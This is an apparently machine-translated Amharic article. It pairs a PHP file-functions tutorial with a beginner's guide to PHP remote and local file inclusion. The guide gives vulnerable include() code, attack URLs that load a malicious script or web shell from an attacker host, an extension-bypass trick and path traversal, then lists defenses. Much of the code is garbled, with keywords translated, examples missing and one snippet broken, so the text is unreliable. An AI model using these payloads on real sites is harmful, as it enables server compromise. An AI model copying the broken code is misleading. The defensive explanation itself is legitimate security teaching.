በ PHP ላይ ተመስርተው ድር ጣቢያዎችን ሲፈጥሩ የፕሮግራም ኮድን እንደገና መጠቀም ሊኖርብዎ ይችላል። በእንደዚህ ዓይነት ሁኔታዎች, በሌላ ፋይል ውስጥ የሚገኙ ዝግጁ መፍትሄዎችን ለማገናኘት ምቹ ነው. የማካተት ግንባታ ለዚህ ጥቅም ላይ ይውላል. አገባቡ፡-

የፋይል ስም ያካትቱ

የግንኙነት ምሳሌ፡-

የተካተተው ፋይል፡-


አስፈላጊ ግንባታን በመጠቀም ፋይልን ማካተት ይቻላል. ከማካተት በተለየ የፕሮግራሙ ኮድ ከመፈጸሙ በፊት ፋይሉን ያካትታል. በኮዱ ውስጥ ፍላጎትን በመጠቀም ወደዚህ ፋይል አንድ ጥሪ ብቻ ማድረግ ይቻላል ። እንደገና ሲደረስ ስርዓቱ ዓለም አቀፍ የስህተት መልእክት ያሳያል እና የፕሮግራሙን አፈፃፀም ያቆማል።

ግንባታው በፕሮግራሙ አፈፃፀም ወቅት ምንጩን ብቻ ያካትታል። የ php ፋይል ብዙ ንባብን ይደግፋል። ስህተት ከተፈጠረ, የማስጠንቀቂያ መልእክት ብቻ ይታያል, እና ኮድ አፈፃፀም ከሚቀጥለው መስመር ይቀጥላል.

ፋይሎችን መክፈት እና መዝጋት

በ php ውስጥ ሁሉም ከፋይሎች ጋር የሚሰሩ ስራዎች በበርካታ ደረጃዎች ይከናወናሉ.

  • ፋይል መክፈት;
  • የይዘት ማረም;
  • ፋይሉን በመዝጋት ላይ።

የ fopen() ተግባር ፋይል ለመክፈት ይጠቅማል። አገባቡ፡-

int fopen (የሕብረቁምፊ ፋይል ስም፣ የሕብረቁምፊ ሁኔታ [፣ int use_include_path])

ተቀባይነት ያላቸው ክርክሮች፡-

  • የሕብረቁምፊ ፋይል ስም - የፋይል ስም ወይም ወደ እሱ ፍጹም ዱካ። ወደ ፋይሉ የሚወስደው መንገድ ካልተገለጸ አሁን ባለው ማውጫ ውስጥ ይፈለጋል። የሚፈልጉት ፋይል ከጠፋ, ስርዓቱ የስህተት መልእክት ያሳያል. ለምሳሌ፥

  • ሕብረቁምፊ ሁነታ - የፋይል መክፈቻ ሁነታን ያመለክታል. በክርክሩ ተቀባይነት ያላቸው እሴቶች፡-
  • r - ፋይሉ ለማንበብ ብቻ ይከፈታል, የፋይል ጠቋሚው መጀመሪያ ላይ ተዘጋጅቷል;
  • r+ - ፋይሉ ለማንበብ እና ለመጻፍ ክፍት ነው;
  • w - ለመጻፍ ብቻ አዲስ ፋይል ይፈጥራል። ተመሳሳይ ስም ያለው ፋይል ቀድሞውኑ ካለ, በውስጡ ያለው ሁሉም ውሂብ በራስ-ሰር ይሰረዛል;
  • w+ - ለመጻፍ እና ለማንበብ አዲስ ፋይል ይፈጥራል. እንደዚህ አይነት ፋይል ሲኖር, ውሂቡ ሙሉ በሙሉ በአዲስ ይገለበጣል;
  • a - ፋይሉ ለመጻፍ ክፍት ነው. ጠቋሚው መጨረሻ ላይ ተቀምጧል. ማለትም ወደ php ፋይል መጻፍ የሚጀምረው ከመጀመሪያው ሳይሆን ከመጨረሻው ነው;
  • a+ - ፋይልን በንባብ-መፃፍ ሁኔታ ይክፈቱ። ቀረጻው ከመጨረሻው ይጀምራል;
  • b - ሁለትዮሽ ውሂብን ከያዘው ፋይል ጋር የመስራት ዘዴ (በሁለትዮሽ ቁጥር ስርዓት)። ይህ ሁነታ በዊንዶውስ ኦፐሬቲንግ ሲስተም ላይ ብቻ ነው የሚገኘው.

የፋይል መዳረሻን ለመዝጋት የfclose() ተግባርን ይጠቀሙ። አገባብ፡

int fclose (int file)፣ int ፋይል ለመዝጋት የጣቢያው መያዣ የሆነበት።

ከእያንዳንዱ ማንበብ ወይም መጻፍ በኋላ ፋይሉ በዚህ ተግባር መዘጋት አለበት። አለበለዚያ ለፋይሉ የተፈጠረው ዥረት ክፍት እንደሆነ ይቆያል። እና ይህ ወደ አላስፈላጊ የአገልጋይ አቅም ፍጆታ ይመራል።

ለምሳሌ፥

ፋይሎችን ማንበብ እና መጻፍ

የፋይሉን አጠቃላይ ይዘት በቀላሉ ለማሳየት የንባብ ፋይል() ተግባር ተስማሚ ነው። አገባቡ፡-

readfile (የሕብረቁምፊ ፋይል ስም)፣ የሕብረቁምፊ ፋይል ስም የሕብረቁምፊ ፋይል ስም (እጀታ ሳይሆን) የሆነበት።


ተመሳሳይ ፋይል የfpassthru() ተግባርን በመጠቀም ሊነበብ ይችላል። ከመጨረሻ ጠቋሚ ቦታ እስከ ፋይሉ መጨረሻ ድረስ ያለውን መረጃ ያነባል። አገባቡ፡-

int fpassthru (int ፋይል)

ተግባሩ ፋይል መክፈት እና መዝጋት ይጠይቃል። ለምሳሌ፥

ውጤቱ ከቀዳሚው ጋር ተመሳሳይ ነው።

በ php ውስጥ ካሉ ፋይሎች ጋር የመስራት ተግባራት የይዘት መስመርን በመስመር እና በቁምፊ እንዲያነቡ ያስችሉዎታል፡

  • string fgets (int ፋይል፣ int ርዝመት)- ተግባሩ የርዝመት ርዝመት ሕብረቁምፊ ያነባል። ለምሳሌ፥

  • ሕብረቁምፊ ፍሬድ (int ፋይል፣ int ርዝመት)- ድርጊቱ ከቀዳሚው ጋር ተመሳሳይ ነው.

የጽሑፍ ውሂብን ወደ ፋይል ለመጻፍ ሁለት ተመሳሳይ ተግባራት አሉ፡-

  • int fputs (int ፋይል፣ የሕብረቁምፊ ገመድ [፣ int ርዝመት])
  • int fwrite (int ፋይል፣ የሕብረቁምፊ ገመድ [፣ int ርዝመት])

ተግባራቶቹ ወደ ፋይል int ፋይል ይጽፋሉ የተገለጸው ርዝመት int ርዝመት ሕብረቁምፊ ሕብረቁምፊ (ሕብረቁምፊ) አማራጭ ክርክር). ለምሳሌ፥

ፋይሎችን መፍጠር እና መሰረዝ

የ php ፋይል ለመፍጠር የ fopen() ተግባርን በ"w" ወይም "w+" የመዳረሻ ሁነታ መጠቀም ይችላሉ። ወይም የንክኪ () ተግባር። የፋይል ማሻሻያ ጊዜን ያዘጋጃል. የተፈለገው ስም ያለው አካል ከሌለ ይፈጠራል። አገባቡ ነው።

ለጀማሪዎች ፒኤችፒ መርፌ መሰረታዊ ነገሮች።​


ፒኤችፒ መርፌ(ኢንጂነር. ፒኤችፒ መርፌ) - ስለ በ PHP ላይ የሚሰሩ ድረ-ገጾችን ለመጥለፍ አንዱ መንገድ የውጭ ኮድን በአገልጋዩ በኩል ማስፈጸም ነው።አደገኛ ሊሆኑ የሚችሉ ተግባራት፡-
ኢቫል()
preg_replace() (በ"e" መቀየሪያ)፣
አንድ ጊዜ ያስፈልጋል()
አንድ ጊዜ()ን ጨምሮ
ማካተት()
ያስፈልጋል()
መፍጠር_ተግባር ()

የግቤት መለኪያዎች ተቀባይነት ካገኙ እና ያለ ማረጋገጫ ጥቅም ላይ ከዋሉ ፒኤችፒ መርፌ የሚቻል ይሆናል።

ለማስፋት ጠቅ ያድርጉ...

(ሐ) ዊኪ


መሰረታዊ ነገሮች።​

ፒፒፒ መርፌ- አጥቂው በተጠቃው ፒኤችፒ መተግበሪያ ውስጥ ፒኤችፒ ኮድ ሲያስገባ ይህ በድረ-ገጽ ላይ የጥቃት አይነት ነው።
መርፌው ከተሳካ አጥቂው የዘፈቀደ (አስጊ ሊሆን የሚችል) ፒኤችፒ ኮድ በዒላማው አገልጋይ ላይ ሊፈጽም ይችላል። ለምሳሌ, ቅርፊቱን ይሙሉ. በመጀመሪያ ግን ይህ እንዴት እንደሚከሰት በዝርዝር እንወያይ.

ለምሳሌ፡-
በPHP የተጻፈ ድረ-ገጽ እንዳለን እናስብ።
እንዲሁም ጣቢያው ትዕዛዙን እንደሚጠቀም እናስብ ገጽ=ገጽ.htmlየተጠየቀውን ገጽ ለማሳየት.
ኮዱ እንደዚህ ይመስላል

$ፋይል = $_GET ["ገጽ"]; // የሚታየው ገጽ
ያካትቱ($ፋይል);
?>

ይህ ማለት በገጹ ላይ የሚታየው ነገር ሁሉ በዚያ ገጽ ፒኤችፒ ኮድ ውስጥ ይካተታል። ስለዚህ አንድ አጥቂ እንደዚህ ያለ ነገር ሊያደርግ ይችላል፡-

http: //www.attacked_site.com/index.php?ገጽ=http://www.attacked_server.com/malicious_script.txt?

ማካተት ከተፈጸመ በኋላ ምን እንደሚፈጠር ከተመለከትን፣ የሚከተለው ኮድ በዒላማ አገልጋይ ላይ ሲተገበር እናያለን።

$ ፋይል = "http://www.attack_server.com/malicious_script.txt?"; //$_GET["ገጽ"];
ያካትቱ($ፋይል); //$ፋይል በአጥቂ የተወጋ ስክሪፕት ነው።
?>

አጥቂው በተሳካ ሁኔታ ዒላማውን አገልጋይ እንዳጠቃ አይተናል።

ተጨማሪ ዝርዝሮች፡
ታዲያ አጥቂው ለምን ፒኤችፒ መርፌ ማድረግ ቻለ?
ሁሉም ምክንያቱም ተግባር ማካተት() የርቀት ፋይሎችን እንዲያሄዱ ይፈቅድልዎታል.

በምሳሌው ውስጥ የተጠቀሰው ቅጥያ ያለው ስክሪፕት ለምን ነበር? *.txt አይደለም *.php ?
ስክሪፕቱ ቅርጸቱ ካለው መልሱ ቀላል ነው። *.php ፣ በአጥቂው አገልጋይ ላይ ነው የሚሰራው እንጂ በታለመለት ስርዓት ላይ አይደለም።

ምልክቱም ተጨምሯል። ? በተግባር ውስጥ ያለውን ማንኛውንም ነገር ለማስወገድ በተከተበው የስክሪፕት መንገድ ውስጥ ማካተት() በዒላማው አገልጋይ ላይ.
ለምሳሌ፥

$ፋይል = $_GET ["ገጽ"];
ያካትቱ($ ፋይል. ".php");
?>

ይህ ስክሪፕት ቅጥያውን ይጨምራል *.php በትእዛዙ ለተጠራው ማንኛውም ነገር ማካተት() .
እነዚያ።

http: //www.attack_server.com/malicious_script.txt

ወደ ይለወጣል

http: //www.attack_server.com/malicious_script.txt.php

ስክሪፕቱ በዚህ ስም አይሰራም (ፋይሉ በአጥቂው አገልጋይ ላይ የለም። /malicious_script.txt.php)
ለዚህ ነው "?" ወደ ተንኮል አዘል ስክሪፕት የሚወስደው መንገድ መጨረሻ፡-

http: //www.attack_server.com/malicious_script.txt?.php

ግን ተፈፃሚነት ይኖረዋል።

ማካተት() ተግባር ተጋላጭነት በኩል ፒኤችፒ መርፌዎችን ማከናወን።​

RFI - የርቀት መቆጣጠሪያ በ PHP መርፌ ጊዜ ያካትታል


RFI የማካሄድ ችሎታ በሞተሮች ውስጥ በጣም የተለመደ ስህተት ነው።
እንደሚከተለው ልታገኙት ትችላላችሁ።
በአሳሹ የአድራሻ አሞሌ ውስጥ እንደዚህ የሚያልቅ ገጽ በአጋጣሚ አገኘን እንበል።

/ኢንዴክስ. php? ገጽ = ዋና

በምትኩ እንተካለን። ዋናማንኛውም የማታለል ትርጉም, ለምሳሌ upyachka

/ኢንዴክስ. php? ገጽ = upyachka

በምላሹ ስህተት ይደርሰናል፡-

ማስጠንቀቂያ፡ ዋና (upyachka. php): ዥረት መክፈት ተስኖታል፡ ምንም አይነት ፋይል ወይም ማውጫ የለም / ቤት / ተጠቃሚ / www //page.php በመስመር 3 ላይ

ማስጠንቀቂያ፡ ዋና (upyachka. php): ዥረት መክፈት አልተሳካም: በ / ቤት / ተጠቃሚ / www / ገጽ ውስጥ እንደዚህ ያለ ፋይል ወይም ማውጫ የለም. php በመስመር 3 ላይ

ማስጠንቀቂያ፡ ዋና ()፡ ለማካተት "upyachka.php" መክፈት አልተሳካም ( include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear") በ /home/user/www/ገጽ። php በመስመር 3 ላይ

ይህ የሚያሳየን መካተት የሚቻል መሆኑን ነው።
ለመተካት እንሞክር upyachkaወደ ቅርፊቱ የሚወስደው ጣቢያ (የሼል ፋይል ቅጥያው መገለጽ የለበትም ወይም ከላይ እንደተገለፀው ይጠቁሙ)

http: //www.attacked_server.com/index.php?file=http://www.attack_site.com/shell

ቅርፊቱ የተገኘው በዚህ መንገድ ነው. አሁን ለጣቢያው አስተዳዳሪ ስለ ተጎጂነት ማሳወቅ አለብዎት ክፉ ሰዎች ከስህተት እንዳይጠቀሙበት እንዲያስተካክሉት.

LFI - ለ PHP መርፌ የአካባቢን ያካትታል


ተመሳሳይ ተጋላጭ ቦታ እንዳገኘን እናስብ

/ኢንዴክስ php? ፋይል = ዋና

ከኮድ ጋር

..
ያካትቱ ("አቃፊ / $ ገጽ .htm");

?>

ይህ አስቀድሞ የአካባቢ ማካተት ነው። በዚህ ሁኔታ የፋይል ዝርዝር ብቻ ነው የሚቻለው፡-

/ኢንዴክስ. php? ገጽ = ../ ማውጫ . php

በሚከተለው ሁኔታ, ኮዱ ይህን ይመስላል:

..
ያካትቱ("$dir1/folder/page.php");

?>

በዚህ ሁኔታ ወደ ቅርፊቱ የሚወስደውን መንገድ እንደሚከተለው መጻፍ ይችላሉ-
አቃፊ ፍጠር አቃፊዛጎሉ በተከማቸበት ድረ-ገጽ ላይ ዛጎሉን ወደዚህ አቃፊ ይጣሉት፡-

http: //www.attack_site.com/folder/shell.php

በዚህ ጉዳይ ላይ መርፌው እንደዚህ ይመስላል

ኢንዴክስ php? dir1 = http: //www.site_attacker.com/

የመከላከያ ዘዴዎች


ጽሑፉን እንመልከት፡-

...

$ ሞጁሉን ያካትቱ። ".php";
...
?>

ይህ ስክሪፕት ተጋላጭ ነው ምክንያቱም የተለዋዋጭው ይዘት $ ሞዱል አሁን ታክሏል *.php እና ፋይሉ የተገኘውን መንገድ በመጠቀም ይጀምራል.

ከእንዲህ ዓይነቱ ጥቃት ለመከላከል ብዙ መንገዶች አሉ።


-የ$ ሞዱል ተለዋዋጭ ውጫዊ ቁምፊዎችን እንደያዘ ያረጋግጡ፡-

...
$module = $_GET ["ሞዱል"];
ከሆነ (strpbrk ($ ሞዱል, ".?/:")) ቢሞት ("ታግዷል");
$ ሞጁሉን ያካትቱ። ".php";
...
?>

-$ ሞዱል ከትክክለኛዎቹ እሴቶች ውስጥ አንዱን መመደቡን ያረጋግጡ፡-
"/" , "", $ገጽ); // ወደ ሌሎች ማውጫዎች የመንቀሳቀስ ችሎታ ታግዷል.
ከሆነ (ፋይል_የሚኖር ("ፋይሎች/ $ገጽ .htm"))
{
ያካትቱ("ፋይሎች/$page.htm" );
}
ሌላ
{
አስተጋባ
"ስህተት";
}

?>

ፒኤችፒ የርቀት ፋይሎችን አጠቃቀም የማሰናከል ችሎታን ይሰጣል ፣ ይህ የሚደረገው በ php.ini ውቅር ፋይል ውስጥ የ allow_url_fopen አማራጭን ወደ ጠፍቷል በመቀየር ነው።

የተገለፀው ተጋላጭነት ለጣቢያው ከፍተኛ አደጋን ይፈጥራል እና የPHP ስክሪፕቶች ደራሲዎች ስለ እሱ መርሳት የለባቸውም።

በሚጽፉበት ጊዜ, ቁሳቁሶች ከ
ዊኪፔዲያ፣
ከውጪ መድረክ ደህንነት-sh3ll (ስፕሊት)፣
ከአንቲቻት መድረክ (ግሪንቢር)።
ልዩ ምስጋና ቡርትእና f02ለእርዳታዎ,
ድጋፍ እና ጥሩ ትችት)